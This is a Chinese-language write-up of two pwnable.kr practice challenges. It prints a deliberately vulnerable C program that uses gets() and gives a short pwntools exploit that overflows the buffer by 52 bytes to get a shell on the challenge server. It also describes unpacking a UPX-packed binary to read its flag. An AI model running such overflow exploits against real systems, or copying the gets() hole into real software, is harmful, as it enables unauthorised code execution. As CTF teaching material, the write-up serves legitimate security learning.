pwnable----bof和flag
bof是溢出
flag是加了殼
bof
- 直接訪問上面的兩個網址,下載bof和bof.c。用file bof查看bof文件,並用IDA打開
2.查看源代碼bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
3.分析
1.首先看main,將func傳入了0xdeadbeef。看func函數,直接看到了/bin/sh(這個,太香了~),看判斷條件要將傳入的數key===0xcafeebabe
2.我們就要找覆蓋多少地址才能將0xdeadbeef改成0xcafebabe,就能getshell,直接在IDA上查找func函數看到地址爲0x2c和0x8,相和爲52.
4.exp編寫
from pwn import *
p = remote('pwnable.kr',9000)
p.send('A'*52 + p32(0xcafebabe))
p.interactive()
看到flag
flag
1.看題發現只有一個文件,怎麼辦嘛,看看文件屬性file flag,發現加了殼了,用upx -d 解壓,在在IDA上就能看到flag ,但我在網上還看到另一種解法寫下
2.先用strace ./flag 調試一下看到一行就是運行flag文件,在看到brk然後就是一些寫,最後顯示結果I will…,最後退出
我們在用gdb調試一下
在最後退出的時候我們catch它,在r運行讓它報錯
在將用core 保存起來
這個時候我們查看我們的core
最後在strings flag-core
最後在strings flag-core
最後在茫茫代碼看到:)這個就是flag